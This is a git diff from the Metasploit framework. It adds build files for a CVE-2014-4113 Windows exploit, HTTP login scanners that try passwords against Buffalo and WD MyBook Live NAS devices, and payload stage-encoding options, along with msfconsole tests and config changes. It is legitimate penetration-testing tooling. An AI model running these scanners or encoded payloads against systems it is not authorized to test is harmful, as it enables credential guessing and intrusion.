copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2014-4113.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,18 @@
|
|||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\cve-2014-4113.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86;x64" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building CVE-2014-4113 track_popup_menu x86 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="Building CVE-2014-4113 track_popup_menu x64 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
</Project>
|
|
@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building CVE-2014-4113 (track_popup_menu)"
|
||||
PUSHD CVE-2014-4113
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building CVE-2013-1300 (schlamperei)"
|
||||
PUSHD CVE-2013-1300
|
||||
|
@ -60,8 +67,8 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building bypassuac (in-memory)"
|
||||
PUSHD bypassuac_injection
|
||||
|
@ -69,8 +76,8 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
POPD
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building IE11 Sandbox bypasses"
|
||||
PUSHD IE11SandboxEscapes
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
Feature: Help command
|
||||
|
||||
|
||||
Background:
|
||||
Given I run `msfconsole` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
|
||||
|
||||
Scenario: The 'help' command's output
|
||||
When I type "help"
|
||||
And I type "exit"
|
||||
|
@ -75,4 +75,4 @@ Feature: Help command
|
|||
vulns List all vulnerabilities in the database
|
||||
workspace Switch between database workspaces
|
||||
"""
|
||||
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@ Feature: MS08-067 netapi
|
|||
And a mocked home directory
|
||||
Given I run `msfconsole` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
|
||||
|
||||
Scenario: The MS08-067 Module should have the following options
|
||||
When I type "use exploit/windows/smb/ms08_067_netapi"
|
||||
And I type "show options"
|
||||
|
@ -28,7 +28,7 @@ Feature: MS08-067 netapi
|
|||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
|
||||
"""
|
||||
|
||||
Scenario: The MS08-067 Module should have the following advanced options
|
||||
|
@ -40,11 +40,11 @@ Feature: MS08-067 netapi
|
|||
Module advanced options:
|
||||
|
||||
Name : CHOST
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : The local client address
|
||||
|
||||
Name : CPORT
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : The local client port
|
||||
|
||||
Name : ConnectTimeout
|
||||
|
@ -52,7 +52,7 @@ Feature: MS08-067 netapi
|
|||
Description : Maximum number of seconds to establish a TCP connection
|
||||
|
||||
Name : ContextInformationFile
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : The information file that contains context information
|
||||
|
||||
Name : DCERPC::ReadTimeout
|
||||
|
@ -69,41 +69,41 @@ Feature: MS08-067 netapi
|
|||
|
||||
Name : NTLM::SendLM
|
||||
Current Setting: true
|
||||
Description : Always send the LANMAN response (except when NTLMv2_session is
|
||||
Description : Always send the LANMAN response (except when NTLMv2_session is
|
||||
specified)
|
||||
|
||||
Name : NTLM::SendNTLM
|
||||
Current Setting: true
|
||||
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
|
||||
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
|
||||
NTLM responses
|
||||
|
||||
Name : NTLM::SendSPN
|
||||
Current Setting: true
|
||||
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
|
||||
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
|
||||
authentification on windows Seven/2008r2 when SPN is required
|
||||
|
||||
Name : NTLM::UseLMKey
|
||||
Current Setting: false
|
||||
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
|
||||
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
|
||||
when the LM response is sent
|
||||
|
||||
Name : NTLM::UseNTLM2_session
|
||||
Current Setting: true
|
||||
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
|
||||
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
|
||||
NTLMv2_session
|
||||
|
||||
Name : NTLM::UseNTLMv2
|
||||
Current Setting: true
|
||||
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
|
||||
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
|
||||
is true
|
||||
|
||||
Name : Proxies
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : Use a proxy chain
|
||||
|
||||
Name : SMB::ChunkSize
|
||||
Current Setting: 500
|
||||
Description : The chunk size for SMB segments, bigger values will increase
|
||||
Description : The chunk size for SMB segments, bigger values will increase
|
||||
speed but break NT 4.0 and SMB signing
|
||||
|
||||
Name : SMB::Native_LM
|
||||
|
@ -131,11 +131,11 @@ Feature: MS08-067 netapi
|
|||
Description : The NetBIOS hostname (required for port 139 connections)
|
||||
|
||||
Name : SMBPass
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : The password for the specified username
|
||||
|
||||
Name : SMBUser
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : The username to authenticate as
|
||||
|
||||
Name : SSL
|
||||
|
@ -143,17 +143,17 @@ Feature: MS08-067 netapi
|
|||
Description : Negotiate SSL for outgoing connections
|
||||
|
||||
Name : SSLCipher
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
|
||||
|
||||
Name : SSLVerifyMode
|
||||
Current Setting: PEER
|
||||
Description : SSL verification method (accepted: CLIENT_ONCE,
|
||||
Description : SSL verification method (accepted: CLIENT_ONCE,
|
||||
FAIL_IF_NO_PEER_CERT, NONE, PEER)
|
||||
|
||||
Name : SSLVersion
|
||||
Current Setting: SSL3
|
||||
Description : Specify the version of SSL that should be used (accepted: SSL2,
|
||||
Description : Specify the version of SSL that should be used (accepted: SSL2,
|
||||
SSL3, TLS1)
|
||||
|
||||
Name : VERBOSE
|
||||
|
@ -161,7 +161,7 @@ Feature: MS08-067 netapi
|
|||
Description : Enable detailed status messages
|
||||
|
||||
Name : WORKSPACE
|
||||
Current Setting:
|
||||
Current Setting:
|
||||
Description : Specify the workspace for this module
|
||||
|
||||
Name : WfsDelay
|
||||
|
|
|
@ -157,11 +157,11 @@ Feature: `msfconsole` `database.yml`
|
|||
And the output should not contain "user_metasploit_framework_test"
|
||||
And the output should not contain "project_metasploit_framework_test"
|
||||
And the output should contain "[*] postgresql selected, no connection"
|
||||
|
||||
|
||||
Scenario: Starting `msfconsole` with a valid database.yml
|
||||
Given I run `msfconsole` interactively
|
||||
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
|
||||
When I type "db_status"
|
||||
And I type "exit"
|
||||
Then the output should contain "[*] postgresql connected to metasploit_framework_test"
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'json'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Buffalo Linkstation NAS login scanner
|
||||
class Buffalo < HTTP
|
||||
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = "/dynamic.pl" if self.uri.nil?
|
||||
self.method = "POST" if self.method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
if ssl
|
||||
result_opts[:service_name] = 'https'
|
||||
else
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
'uri'=>'/dynamic.pl',
|
||||
'vars_post'=> {
|
||||
'bufaction'=>'verifyLogin',
|
||||
'user' => credential.public,
|
||||
'password'=>credential.private
|
||||
}
|
||||
})
|
||||
res = cli.send_recv(req)
|
||||
body = JSON.parse(res.body)
|
||||
if res && body.has_key?('success') && body['success']
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::JSON::ParserError
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,61 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# Western Digital MyBook Live login scanner
|
||||
class MyBookLive < HTTP
|
||||
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = '/UI/login' if self.uri.nil?
|
||||
self.method = 'POST' if self.method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
if ssl
|
||||
result_opts[:service_name] = 'https'
|
||||
else
|
||||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cred = Rex::Text.uri_encode(credential.private)
|
||||
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => method,
|
||||
'uri' => uri,
|
||||
'data' => body
|
||||
)
|
||||
res = cli.send_recv(req)
|
||||
if res && res.code == 302 && res.headers['location'] && res.headers['location'].include?('UI')
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
|
||||
elsif res.nil?
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'No response')
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.headers)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,61 @@
|
|||
# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which
|
||||
# allows for faster loading of rake tasks.
|
||||
module Metasploit
|
||||
module Framework
|
||||
module Spec
|
||||
module UntestedPayloads
|
||||
# @note `Metasploit::Framework::Spec::UntestedPayloads.define_task` should be run after the normal spec task is
|
||||
# defined.
|
||||
#
|
||||
# Adds action to `spec` tasks so that `rake spec` fails if `log/untested-payloads.log` exists and prints out untested
|
||||
# payloads from that log to stderr.
|
||||
#
|
||||
# # @example Using `Metasploit::Framework::Spec::UntestedPayloads.define_task` with 'payload can be instantiated' shared examples and 'untested payloads' shared context
|
||||
# # Rakefile
|
||||
# require 'metasploit/framework/spec/untested_payloads'
|
||||
#
|
||||
# # defined spec task with rspec-rails
|
||||
# My::Application.load_tasks
|
||||
# # extends spec task to fail when there are untested payloads
|
||||
# Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||
#
|
||||
# # spec/modules/payloads_spec.rb
|
||||
# require 'spec_helper'
|
||||
#
|
||||
# describe 'modules/payloads' do
|
||||
# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules')
|
||||
#
|
||||
# include_context 'untested payloads', modules_pathname: modules_pathname
|
||||
#
|
||||
# context 'my/staged/payload/handler' do
|
||||
# it_should_behave_like 'payload can be instantiated',
|
||||
# ancestor_reference_names: [
|
||||
# 'stages/my/payload',
|
||||
# 'stagers/my/payload/handler'
|
||||
# ],
|
||||
# modules_pathname: modules_pathname,
|
||||
# reference_name: 'my/staged/payload/handler'
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# @return [void]
|
||||
def self.define_task
|
||||
Rake::Task.define_task :spec do
|
||||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||
|
||||
if untested_payloads_pathname.exist?
|
||||
tool_path = 'tools/missing-payload-tests.rb'
|
||||
|
||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||
|
||||
system(tool_path)
|
||||
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -65,6 +65,7 @@ class Config < Hash
|
|||
'ModuleDirectory' => "modules",
|
||||
'ScriptDirectory' => "scripts",
|
||||
'LogDirectory' => "logs",
|
||||
'LogosDirectory' => "logos",
|
||||
'SessionLogDirectory' => "logs/sessions",
|
||||
'PluginDirectory' => "plugins",
|
||||
'DataDirectory' => "data",
|
||||
|
@ -92,6 +93,13 @@ class Config < Hash
|
|||
self.new.config_directory
|
||||
end
|
||||
|
||||
# Return the directory that logo files should be loaded from.
|
||||
#
|
||||
# @return [String] path to the logos directory.
|
||||
def self.logos_directory
|
||||
self.new.logos_directory
|
||||
end
|
||||
|
||||
# Returns the global module directory.
|
||||
#
|
||||
# @return [String] path to global module directory.
|
||||
|
@ -148,6 +156,13 @@ class Config < Hash
|
|||
self.new.local_directory
|
||||
end
|
||||
|
||||
# Return the user-specific directory that logo files should be loaded from.
|
||||
#
|
||||
# @return [String] path to the logos directory.
|
||||
def self.user_logos_directory
|
||||
self.new.user_logos_directory
|
||||
end
|
||||
|
||||
# Returns the user-specific module base path
|
||||
#
|
||||
# @return [String] path to user-specific modules directory.
|
||||
|
@ -231,6 +246,13 @@ class Config < Hash
|
|||
InstallRoot
|
||||
end
|
||||
|
||||
# Return the directory that logo files should be loaded from.
|
||||
#
|
||||
# @return [String] path to the logos directory.
|
||||
def logos_directory
|
||||
data_directory + FileSep + self['LogosDirectory']
|
||||
end
|
||||
|
||||
# Returns the configuration directory default.
|
||||
#
|
||||
# @return [String] the root configuration directory.
|
||||
|
@ -301,6 +323,13 @@ class Config < Hash
|
|||
config_directory + FileSep + self['LocalDirectory']
|
||||
end
|
||||
|
||||
# Return the user-specific directory that logo files should be loaded from.
|
||||
#
|
||||
# @return [String] path to the logos directory.
|
||||
def user_logos_directory
|
||||
config_directory + FileSep + self['LogosDirectory']
|
||||
end
|
||||
|
||||
# Returns the user-specific module base path
|
||||
#
|
||||
# @return [String] path to user-specific modules directory.
|
||||
|
@ -339,6 +368,7 @@ class Config < Hash
|
|||
FileUtils.mkdir_p(session_log_directory)
|
||||
FileUtils.mkdir_p(loot_directory)
|
||||
FileUtils.mkdir_p(local_directory)
|
||||
FileUtils.mkdir_p(user_logos_directory)
|
||||
FileUtils.mkdir_p(user_module_directory)
|
||||
FileUtils.mkdir_p(user_plugin_directory)
|
||||
end
|
||||
|
|
|
@ -158,6 +158,18 @@ class EncodedPayload
|
|||
next
|
||||
end
|
||||
|
||||
# If the caller explictly requires register preservation, make sure
|
||||
# that the module in question can handle it. This is mostly used by
|
||||
# the stage encoder path.
|
||||
if (reqs['ForceSaveRegisters'] and
|
||||
reqs['EncoderOptions'] and
|
||||
(reqs['EncoderOptions']['SaveRegisters'].to_s.length > 0) and
|
||||
(! self.encoder.preserves_registers?))
|
||||
wlog("#{pinst.refname}: Encoder #{encoder.refname} does not preserve registers and the caller needs #{reqs['EncoderOptions']['SaveRegisters']} preserved.",
|
||||
'core', LEV_1)
|
||||
next
|
||||
end
|
||||
|
||||
# Import the datastore from payload (and likely exploit by proxy)
|
||||
self.encoder.share_datastore(pinst.datastore)
|
||||
|
||||
|
@ -224,12 +236,10 @@ class EncodedPayload
|
|||
self.encoded = eout
|
||||
break
|
||||
}
|
||||
|
||||
# If the encoded payload is nil, raise an exception saying that we
|
||||
# suck at life.
|
||||
if (self.encoded == nil)
|
||||
self.encoder = nil
|
||||
|
||||
raise NoEncodersSucceededError,
|
||||
"#{pinst.refname}: All encoders failed to encode.",
|
||||
caller
|
||||
|
|
|
@ -413,6 +413,27 @@ class Encoder < Module
|
|||
buf
|
||||
end
|
||||
|
||||
#
|
||||
# Determines whether the encoder can preserve registers at all
|
||||
#
|
||||
def preserves_registers?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# A list of registers always modified by the encoder
|
||||
#
|
||||
def modified_registers
|
||||
[]
|
||||
end
|
||||
|
||||
#
|
||||
# Determines whether the encoder can preserve the stack frame
|
||||
#
|
||||
def preserves_stack?
|
||||
false
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
|
|
@ -22,7 +22,8 @@ module Exploit::Remote::FtpServer
|
|||
# Register the options that all FTP exploits may make use of.
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ])
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
|
||||
OptPort.new('PASVPORT', [ false, "The local PASV data port to listen on (0 is random)", 0 ])
|
||||
], Msf::Exploit::Remote::FtpServer)
|
||||
end
|
||||
|
||||
|
@ -172,7 +173,7 @@ module Exploit::Remote::FtpServer
|
|||
if(not @state[c][:passive_sock])
|
||||
s = Rex::Socket::TcpServer.create(
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 0,
|
||||
'LocalPort' => datastore['PASVPORT'].to_i,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
|
||||
|
|
|
@ -64,7 +64,7 @@ module Exploit::Remote::Tcp
|
|||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]),
|
||||
OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]),
|
||||
OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']),
|
||||
Opt::Proxies,
|
||||
|
|
|
@ -18,7 +18,7 @@ module Exploit::Remote::TcpServer
|
|||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]),
|
||||
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']),
|
||||
OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
|
||||
|
|
|
@ -16,6 +16,8 @@ module Msf::Payload::Stager
|
|||
[
|
||||
Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]),
|
||||
Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]),
|
||||
Msf::OptString.new("StageEncoderSaveRegisters", [ false, "Additional registers to preserve in the staged payload if EnableStageEncoding is set", "" ]),
|
||||
Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to default encoders or no encoding if the selected StageEncoder is not compatible", true ])
|
||||
], Msf::Payload::Stager)
|
||||
|
||||
end
|
||||
|
@ -92,14 +94,12 @@ module Msf::Payload::Stager
|
|||
true
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Whether to use an Encoder on the second stage
|
||||
#
|
||||
# @return [Boolean]
|
||||
def encode_stage?
|
||||
# Convert to string in case it hasn't been normalized
|
||||
!!(datastore['EnableStageEncoding'].to_s == "true")
|
||||
!!(datastore['EnableStageEncoding'])
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -134,7 +134,18 @@ module Msf::Payload::Stager
|
|||
p = generate_stage
|
||||
|
||||
# Encode the stage if stage encoding is enabled
|
||||
p = encode_stage(p)
|
||||
begin
|
||||
p = encode_stage(p)
|
||||
rescue ::RuntimeError
|
||||
warning_msg = "Failed to stage"
|
||||
warning_msg << " (#{conn.peerhost})" if conn.respond_to? :peerhost
|
||||
warning_msg << ": #{$!}"
|
||||
print_warning warning_msg
|
||||
if conn.respond_to? :close && !conn.closed?
|
||||
conn.close
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# Give derived classes an opportunity to an intermediate state before
|
||||
# the stage is sent. This gives derived classes an opportunity to
|
||||
|
@ -196,30 +207,75 @@ module Msf::Payload::Stager
|
|||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Takes an educated guess at the list of registers an encoded stage
|
||||
# would need to preserve based on the Convention
|
||||
#
|
||||
def encode_stage_preserved_registers
|
||||
module_info['Convention'].to_s.scan(/\bsock([a-z]{3,}+)\b/).
|
||||
map {|reg| reg.first }.
|
||||
join(" ")
|
||||
end
|
||||
|
||||
# Encodes the stage prior to transmission
|
||||
# @return [String] Encoded version of +stg+
|
||||
def encode_stage(stg)
|
||||
return stg unless encode_stage?
|
||||
stage_enc_mod = []
|
||||
|
||||
if datastore["StageEncoder"].nil? or datastore["StageEncoder"].empty?
|
||||
stage_enc_mod = nil
|
||||
else
|
||||
stage_enc_mod = datastore["StageEncoder"]
|
||||
# Handle StageEncoder if specified by the user
|
||||
if datastore['StageEncoder'].to_s.length > 0
|
||||
# Allow multiple encoders separated by commas
|
||||
stage_enc_mod = datastore["StageEncoder"].split(',').map(&:strip).select{|x| x.to_s.length > 0}.uniq
|
||||
end
|
||||
|
||||
# Generate an encoded version of the stage. We tell the encoding system
|
||||
# to save edi to ensure that it does not get clobbered.
|
||||
encp = Msf::EncodedPayload.create(
|
||||
self,
|
||||
'Raw' => stg,
|
||||
'Encoder' => stage_enc_mod,
|
||||
'SaveRegisters' => ['edi'],
|
||||
'ForceEncode' => true)
|
||||
print_status("Encoded stage with #{encp.encoder.refname}")
|
||||
# Add automatic encoding as a fallback if needed
|
||||
if datastore['StageEncodingFallback']
|
||||
stage_enc_mod << nil
|
||||
end
|
||||
|
||||
# If the encoding succeeded, use the encoded buffer. Otherwise, fall
|
||||
# back to using the non-encoded stage
|
||||
encp.encoded || stg
|
||||
# If fallback has been disabled and no encoder was parsed, exit early and rop the session
|
||||
if stage_enc_mod.length == 0
|
||||
raise RuntimeError, "StageEncoder is invalid and StageEncodingFallback is disabled"
|
||||
end
|
||||
|
||||
# Allow the user to specify additional registers to preserve
|
||||
saved_registers = (
|
||||
datastore['StageEncoderSaveRegisters'].to_s + " "
|
||||
encode_stage_preserved_registers
|
||||
).strip
|
||||
|
||||
estg = nil
|
||||
|
||||
stage_enc_mod.each do |encoder_refname_from_user|
|
||||
|
||||
# Generate an encoded version of the stage. We tell the encoding system
|
||||
# to save certain registers to ensure that it does not get clobbered.
|
||||
encp = Msf::EncodedPayload.create(
|
||||
self,
|
||||
'Raw' => stg,
|
||||
'Encoder' => encoder_refname_from_user,
|
||||
'EncoderOptions' => { 'SaveRegisters' => saved_registers },
|
||||
'ForceSaveRegisters' => true,
|
||||
'ForceEncode' => true)
|
||||
|
||||
if encp.encoder
|
||||
print_status("Encoded stage with #{encp.encoder.refname}")
|
||||
estg = encp.encoded
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['StageEncodingFallback'] && estg.nil?
|
||||
print_warning("StageEncoder failed, falling back to no encoding")
|
||||
estg = stg
|
||||
end
|
||||
|
||||
unless estg
|
||||
raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled"
|
||||
end
|
||||
|
||||
estg
|
||||
end
|
||||
|
||||
# Aliases
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Msf
|
||||
|
||||
|
|
|
@ -9,31 +9,23 @@ module Ui
|
|||
###
|
||||
module Banner
|
||||
|
||||
Logos =
|
||||
%w{
|
||||
branded-longhorn.txt
|
||||
cow-head.txt
|
||||
cowsay.txt
|
||||
figlet.txt
|
||||
i-heart-shells.txt
|
||||
metasploit-shield.txt
|
||||
missile-command.txt
|
||||
ninja.txt
|
||||
null-pointer-deref.txt
|
||||
r7-metasploit.txt
|
||||
wake-up-neo.txt
|
||||
workflow.txt
|
||||
3kom-superhack.txt
|
||||
metasploit-park.txt
|
||||
}
|
||||
|
||||
#
|
||||
# Returns a random metasploit logo.
|
||||
# Returns a specific metasploit logo. If the specified file is a relative path
|
||||
# then the file will be searched for first in the included local directory,
|
||||
# then in the user-specific directory.
|
||||
#
|
||||
def self.readfile(fname)
|
||||
base = File.expand_path(File.dirname(__FILE__))
|
||||
pathname = File.join(base, "logos", fname)
|
||||
fdata = "<< Missing banner: #{fname} >>"
|
||||
pathname = fname
|
||||
|
||||
unless File.absolute_path(pathname) == pathname
|
||||
if File.readable?(File.join(::Msf::Config.logos_directory, fname))
|
||||
pathname = File.join(::Msf::Config.logos_directory, fname)
|
||||
elsif File.readable?(File.join(::Msf::Config.user_logos_directory, fname))
|
||||
pathname = File.join(::Msf::Config.user_logos_directory, fname)
|
||||
end
|
||||
end
|
||||
|
||||
fdata = "<< Missing banner: #{pathname} >>"
|
||||
begin
|
||||
raise ArgumentError unless File.readable?(pathname)
|
||||
raise ArgumentError unless File.stat(pathname).size < 4096
|
||||
|
@ -45,22 +37,23 @@ module Banner
|
|||
end
|
||||
|
||||
def self.to_s
|
||||
return self.readfile ENV['MSFLOGO'] if ENV['MSFLOGO']
|
||||
|
||||
logos = []
|
||||
|
||||
# Easter egg (always a cow themed logo): export/set GOCOW=1
|
||||
if ENV['GOCOW']
|
||||
case rand(3)
|
||||
when 0
|
||||
# branded-longhorn
|
||||
self.readfile Logos[0]
|
||||
when 1
|
||||
# cow-head
|
||||
self.readfile Logos[1]
|
||||
else
|
||||
# cowsay
|
||||
self.readfile Logos[2]
|
||||
end
|
||||
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + 'cow*.txt'))
|
||||
# Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1
|
||||
elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" )
|
||||
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt'))
|
||||
else
|
||||
self.readfile Logos[rand(Logos.length)]
|
||||
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt'))
|
||||
logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt'))
|
||||
end
|
||||
|
||||
logos = logos.map { |f| File.absolute_path(f) }
|
||||
self.readfile logos[rand(logos.length)]
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
